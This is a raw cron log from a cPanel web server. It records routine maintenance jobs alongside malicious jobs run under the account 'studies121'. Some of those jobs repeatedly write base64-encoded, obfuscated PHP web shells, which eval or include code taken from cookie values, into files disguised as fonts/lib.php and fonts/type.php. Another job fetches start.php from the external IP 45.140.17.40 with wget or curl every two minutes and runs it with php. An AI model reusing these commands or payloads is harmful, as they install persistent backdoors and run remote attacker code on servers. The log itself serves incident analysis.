Sep  2 02:57:01 ip-184-168-122-23 CROND[31949]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  2 02:57:01 ip-184-168-122-23 CROND[31951]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  2 02:57:01 ip-184-168-122-23 CROND[31950]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  2 02:58:01 ip-184-168-122-23 CROND[32044]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  2 02:58:01 ip-184-168-122-23 CROND[32046]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  2 02:58:01 ip-184-168-122-23 CROND[32048]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  2 02:58:01 ip-184-168-122-23 CROND[32050]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  2 02:58:01 ip-184-168-122-23 CROND[32049]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  2 02:59:01 ip-184-168-122-23 CROND[32164]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  2 02:59:01 ip-184-168-122-23 CROND[32166]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  2 02:59:01 ip-184-168-122-23 CROND[32167]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  2 02:59:01 ip-184-168-122-23 CROND[32168]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  2 03:00:01 ip-184-168-122-23 CROND[32268]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  2 03:00:01 ip-184-168-122-23 CROND[32270]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  2 03:00:01 ip-184-168-122-23 CROND[32272]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep  2 03:00:01 ip-184-168-122-23 CROND[32271]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  2 03:00:01 ip-184-168-122-23 CROND[32274]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  2 03:00:01 ip-184-168-122-23 CROND[32275]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  2 03:00:01 ip-184-168-122-23 CROND[32273]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  2 03:00:01 ip-184-168-122-23 CROND[32276]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  2 03:01:01 ip-184-168-122-23 CROND[32375]: (root) CMD (run-parts /etc/cron.hourly)
Sep  2 03:01:01 ip-184-168-122-23 CROND[32374]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Sep  2 03:01:01 ip-184-168-122-23 CROND[32379]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  2 03:01:01 ip-184-168-122-23 CROND[32380]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  2 03:01:01 ip-184-168-122-23 CROND[32381]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  2 03:01:01 ip-184-168-122-23 CROND[32384]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  2 03:01:01 ip-184-168-122-23 run-parts(/etc/cron.hourly)[32375]: starting 0anacron
Sep  2 03:01:01 ip-184-168-122-23 anacron[32398]: Anacron started on 2026-09-02
Sep  2 03:01:01 ip-184-168-122-23 anacron[32398]: Will run job `cron.daily' in 7 min.
Sep  2 03:01:01 ip-184-168-122-23 anacron[32398]: Jobs will be executed sequentially
Sep  2 03:01:01 ip-184-168-122-23 run-parts(/etc/cron.hourly)[32400]: finished 0anacron
Sep  2 03:02:01 ip-184-168-122-23 CROND[32484]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  2 03:02:01 ip-184-168-122-23 CROND[32486]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  2 03:02:01 ip-184-168-122-23 CROND[32488]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  2 03:02:01 ip-184-168-122-23 CROND[32487]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  2 03:02:01 ip-184-168-122-23 CROND[32489]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  2 03:03:02 ip-184-168-122-23 CROND[32576]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  2 03:03:02 ip-184-168-122-23 CROND[32577]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  2 03:03:02 ip-184-168-122-23 CROND[32581]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  2 03:03:02 ip-184-168-122-23 CROND[32579]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  2 03:04:01 ip-184-168-122-23 CROND[32658]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  2 03:04:01 ip-184-168-122-23 CROND[32659]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  2 03:04:01 ip-184-168-122-23 CROND[32661]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  2 03:04:01 ip-184-168-122-23 CROND[32660]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  2 03:04:01 ip-184-168-122-23 CROND[32663]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  2 03:05:01 ip-184-168-122-23 CROND[375]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  2 03:05:01 ip-184-168-122-23 CROND[376]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  2 03:05:01 ip-184-168-122-23 CROND[380]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  2 03:05:01 ip-184-168-122-23 CROND[378]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  2 03:05:01 ip-184-168-122-23 CROND[385]: (root) CMD (/usr/local/cpanel/scripts/eximstats_spam_check 2>&1)
Sep  2 03:05:01 ip-184-168-122-23 CROND[384]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  2 03:05:01 ip-184-168-122-23 CROND[383]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  2 03:06:01 ip-184-168-122-23 CROND[486]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  2 03:06:01 ip-184-168-122-23 CROND[487]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  2 03:06:01 ip-184-168-122-23 CROND[490]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  2 03:06:01 ip-184-168-122-23 CROND[491]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  2 03:06:01 ip-184-168-122-23 CROND[492]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  2 03:07:01 ip-184-168-122-23 CROND[578]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  2 03:07:01 ip-184-168-122-23 CROND[579]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  2 03:07:01 ip-184-168-122-23 CROND[582]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  2 03:07:01 ip-184-168-122-23 CROND[580]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  2 03:08:01 ip-184-168-122-23 CROND[677]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  2 03:08:01 ip-184-168-122-23 CROND[679]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  2 03:08:01 ip-184-168-122-23 CROND[682]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  2 03:08:01 ip-184-168-122-23 CROND[680]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  2 03:08:01 ip-184-168-122-23 CROND[681]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  2 03:08:01 ip-184-168-122-23 anacron[32398]: Job `cron.daily' started
Sep  2 03:08:01 ip-184-168-122-23 run-parts(/etc/cron.daily)[693]: starting logrotate
Sep  2 03:08:02 ip-184-168-122-23 run-parts(/etc/cron.daily)[715]: finished logrotate
Sep  2 03:08:02 ip-184-168-122-23 run-parts(/etc/cron.daily)[693]: starting man-db.cron
Sep  2 03:08:03 ip-184-168-122-23 run-parts(/etc/cron.daily)[728]: finished man-db.cron
Sep  2 03:08:03 ip-184-168-122-23 anacron[32398]: Job `cron.daily' terminated
Sep  2 03:08:03 ip-184-168-122-23 anacron[32398]: Normal exit (1 job run)
